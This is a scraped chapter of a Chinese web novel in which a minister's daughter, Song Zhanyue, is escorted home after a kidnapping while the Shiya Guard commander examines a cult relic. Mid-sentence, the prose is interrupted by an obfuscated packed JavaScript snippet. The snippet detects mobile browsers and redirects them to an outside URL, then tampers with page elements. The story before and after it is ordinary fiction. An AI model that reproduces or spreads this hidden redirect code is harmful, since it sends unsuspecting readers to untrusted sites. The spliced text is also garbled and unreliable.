“山路难行,为免小姐劳累,请小姐上车,属下等护送您回府。” 这马车看似朴素,但细看帘幕质地与雕工,绝非寻常之物,显然是精心准备。宋展月一时却没有动弹,心中千头万绪。 面对眼前这队前来相助的官兵,本应心存感激,但想到他们是狮牙卫的身份,心中仍旧生起一股难以遏制的排斥,不由自主便念起她那被构陷罪名、至今仍关押在潮狱生死未卜的舅父…… 愣神间,一道温和的声音在旁边响起:“姑娘在想什么?” 15. 第 15 章 宋展月猛地回神,撞进他浅淡温和的眼眸里,心头那点对狮牙卫的抵触,竟莫名被抚平了些许。 她垂了垂眼,声音轻了几分:“没什么……只是忽然想起些家事。” 他并未多问,只静静望着她,眉眼温然。 “那我便先走了,掌柜的,后会有期。”她压下心中复杂的思绪,迈步上前,正要登车,手腕却忽然被人轻轻扶了一把。 力道稳而轻,分寸恰到好处,既帮了她,又不曾逾越半分。 那人垂眸看着她踏上马车,声音低低落在她耳畔: “一路平安。” 只四个字,却轻得像一片落雪,悄无声息,落在了她心尖上。 车帘缓缓落下,将林间晨光与他的身影一同隔在了外面。 车厢宽敞洁净,铺着柔软的锦垫,甚至还备了温热的茶壶,旁边叠放着手帕,容她整理仪容,所用之物虽不张扬,但触手细腻,皆是上层之品。 传闻狮牙卫掌刑狱缉捕,权柄煊赫,今日一见,果然名不虚传,连临时调用的马车都如此讲究。 她与他们不过萍水相逢,竟也能配备这般上品之物,足见其手眼通天。 热茶润喉后,马车缓缓启动,沿着林间小路向山外驶去。 她掀开一线轿帘,只见那人翻身上马,临行前朝她这边望了一眼,随即策马离去,身影很快隐没在林间晨雾之中。 一日一夜的惊心动魄,在骤然安静的车厢里被无限放大,疲惫如潮水般涌来。 她默默靠在柔软的车壁上,浑身乏力,精神却依旧紧绷,额角突突作痛,耳边嗡嗡作响,手腕的伤口也在隐隐发烫。 只想赶紧回到家中,好好洗漱一番,睡个好觉,有什么事都睡醒再说。 不知是过了多久。 急促的马蹄声由远及近,似乎赶上了队伍,又在队伍前方停了下来,还有交谈的声音。 仔细听,其中一道声音焦急里裹着熟悉的关切,竟是兄长! 她猛地直起身,再次掀开轿帘往前望去。 果不其然,哥哥宋辞渊正翻身下马。他一身风尘,衣摆沾着泥点,向来整齐的发冠微斜,神色焦灼万分。 狮牙卫正在与他交涉,同行还有另一个衣着华丽、气度不凡的男人。 “哥!” 宋展月快步走下马车,一声出口,强撑许久的镇定瞬间崩裂,眼泪夺眶而出。她踉跄着扑进亲人怀中,哽咽不成声: “哥哥……我还以为再也见不到你了。” 滚烫的泪水瞬间濡湿宋辞渊的衣襟。 他慌忙扶住她双臂,双眼通红,急切地上下打量,见她除了手腕一处伤口外并无大碍,悬着的心才稍稍落下,可随之翻涌的是更沉的心疼。 他喉头哽塞,半晌说不出话,只用力将妹妹揽进怀里,紧紧抱住,大手下一下下轻拍着她的后背。 “没事了,没事了,哥哥在。” 宋展月哭得浑身发颤,此前所有冷静尽数化为乌有,只剩排山倒海的后怕。她死死攥着兄长衣襟,一刻也不肯松开。 “好了好了,别怕,不哭了。”宋辞渊颤抖着手替她拢了拢凌乱的发丝,这才想起一旁的誉王,低声提醒道:“月儿,誉王殿下也在呢。” 正沉浸在悲伤中的宋展月闻声,哭声一滞,泪眼朦胧地抬起头,那男人正温和地看着她,眉带担忧,与她记忆中那个模糊的印象对上了——温润如玉,气度端方,正是誉王赵和钧。 她赶紧从兄长怀中退开半步,用帕子胡乱擦了擦脸,想要福身行礼。 赵和钧已先行一步,虚虚一扶。 “看到你平安,本王与子衡兄,总算可以放心了。” 宋展月吸吸鼻子,强忍着哽咽,低声道:“臣女失仪……多谢殿下挂怀。” “此番贼人胆大包天,竟敢在京畿行此恶事,伤及闺阁。此事本王必会彻查到底,给宋相、给子衡兄、也给展月姑娘一个交代。” 语罢,他转向戴去非。 “此番有劳戴佥事与狮牙卫诸位兄弟先行寻到宋姑娘。” “接下来便由本王护送宋姑娘回京即可。今日一事,本王记下了,日后定会亲自过府,向闵督主当面道谢。” 宋辞渊也立刻附和,对着戴去非拱手:“多谢佥事大人。” “家妹既已寻回,便不劳烦狮牙卫再远送,由宋某与殿下护送即可。今日之恩,改日宋某必当亲自向督主道谢。” 戴去非面色不变,心中却急速权衡。 督主让他亲自护送宋姑娘返京。 可如今这架势,誉王亲临要接手,宋姑娘的亲兄长也在,于情于理,他的确没有强行留人的理由,只能略一抱拳: “既如此,便有劳王爷与宋大人。属下职责所在,已寻得宋小姐,便先行回卫所复命了。” 一行人当即换乘上路,一路顺遂,不过半日光景,便已抵达京城。 回到相府,还未下车,远远就能瞧见府门洞开,灯火通明。 父亲满目沧桑,负手立在阶前,身形似乎一日间佝偻了许多,母亲被嬷嬷扶着,已是泪流满面,嫂嫂焦急地张望着,身旁是两个神色疲倦又担忧的侄子。 宋展月不由再次红了眼眶,一家人相见,自是抱头痛哭,劫后余生的庆幸化作泪水。 府中早已请好了大夫候着,仔细诊查过后,只手腕一处割伤,余者并无大碍。 且伤口包扎得极为妥帖,敷料洁净,暂时不必换药,只是气血稍虚,好好调养膳食便可。 一夜跌宕,她竟忘了细问,这伤口是谁为她处理的? 是闵掌柜吗?他这般细致妥帖,难不成还略通医术? 不知狮牙卫是如何向兄长回禀此事的,许是为了护她清誉,他们并未向府中提及她是被外男所救。 她也因此略过了这一节,只将自己遇险的经历尽数道出,尤其是她被绑匪单独带出的缘由。 兄父二人听闻,愈发神色凝重,眉头紧锁。 谁也不明白,为什么净世白羽教会策划这次的事件?明明教主瑶欲已经死去十年,他们此番要挟,根本就是无用之功。 这厢。 当闵敖重新回到地下祭坛时,这里已经被狮牙卫彻底控制了。 除戴去非外,剩下的三名佥事全都在场。 护卫统领秦破军见闵敖策马走近,立即迎上前,抱拳肃立。 他出身军旅,武功高强,平常负责闵敖的护卫与核心区域防务,此刻正带着亲卫把守各处要害。 而立在他身侧、容貌俊美的阴柔男子,便是谢云横。 此人专司情报刺探、渗透监听,尤擅用毒,乃是狮牙卫埋在暗处的眼目与毒牙。 所有假扮尼姑的贼人皆被缚于角落,由精锐士卒严加看管。 祭坛之上,那尚在滴血的“圣物”已被取下,静静置于铺开的油布之上。 走近细看,乃是一尊非金非玉的女子造像,面容模糊,通体冰凉,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210634|197219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖轻触却又隐带微暖。雕像周身血槽蜿蜒,勾勒出诡异难言的图腾。 “督主。” 谢云横以一方素帕垫着手,小心将那圣物托起,低声禀道: “此物刻纹,与前朝秘档中所记‘山河钥’的图样部分吻合,只是尚需进一步查证。” 净世白羽教能坐大至此,靠的从不止蛊惑人心的教义与严密组织,更因他们握着一桩足以令天下群雄疯狂的秘密。 传言,前朝覆灭时,末代公主携国之重宝遁入民间,创立此教,以期复国。 此宝藏并非普通的金银,而是蕴含了巨大财富、失传军械图谱、乃至可能动摇皇室正统的隐秘。 也正因如此,才总有势力暗中输送养分,令教派屡扑不灭。 闵敖对外宣称教主已死,一是为这宝藏,二则是因为教派中始终藏身暗处的圣女——情渊。 狮牙卫追查十年,仍未能勘破其身份,也正因她在,净世白羽教即便覆灭十载,依旧能死灰复燃。 杨洪从地道口出来,往地上呸了一口。 “什么招都用过了,他们就是不肯说出主谋,一口咬定是自发行动,誓死效忠‘情渊尊者’,但问及情渊下落,个个闭口不言。” 闵敖的脚步停驻在那尊女子像前,指尖轻轻拂过其上宋展月的血迹。 他眸色深沉,喜怒难辨,只淡淡道:“把嘴硬的都处理干净,剩下的分开关押。”他转向谢云横:“你去审,把情渊给我翻出来。” “至于这座圣象。” 一直默默记录现场的范凌,敏锐地察觉到督主的目光,立刻上前一步:“属下这就把圣物装箱,押送回卫所。” 这桩惊心动魄的绑架案,总算告一段落。 匪徒为这一步筹谋已久,前期接连以低水准刺杀骚扰,不断消耗府中核心护卫的精力,使其疲于应对。 待到真正动手那日,又故意猛攻督主的西山别院,将他困在府内,把狮牙卫最精锐的力量死死钉在原地,一手调虎离山,用得极为精妙。 这般环环相扣、缜密周全的布局,又怎会是群龙无首的乌合之众所能谋划? 那位圣女情渊,必定心思深沉、手段诡谲。 她究竟是何方神圣,竟能隐匿十年,始终不被狮牙卫揪出身形? 一行人从密道上来,天光大亮,已是巳时初。 闵敖正欲收队回城,却见戴去非去而复返,神色微紧,躬身拱手道: “禀督主,属下回程途中与誉王殿下人马相遇,宋姑娘已被其兄长接回相府,属下未能完成亲自护送之命。” “嗯。” 这不算意外,毕竟誉王也在这一带搜索。 他应了一声,转眸望向正用帕子擦手的谢云横。 “你拨一队最得力的人手,潜伏在相府周围保护宋家幺女,不可再出现今日之事。” 谢云横有些迷茫地眨眨眼,但见周围的范兄、戴兄还有杨兄,都一脸“果然如此”的表情,心下更是疑惑。 从刚才开始他就觉得不对劲了。 督主大半夜把他们全召集起来救人,自己却先行一步,不知所踪,再回来的时候居然打扮得像个儒商! 他可从未见过督主这般温文尔雅的装扮。 简直令他惊掉双眼。 “督主恕罪,”他斟酌着开口,“属下没明白,您是让我刺探宋相?还是监视整个相府?” 区区一个闺阁小姐,有什么必要让他的人去跟?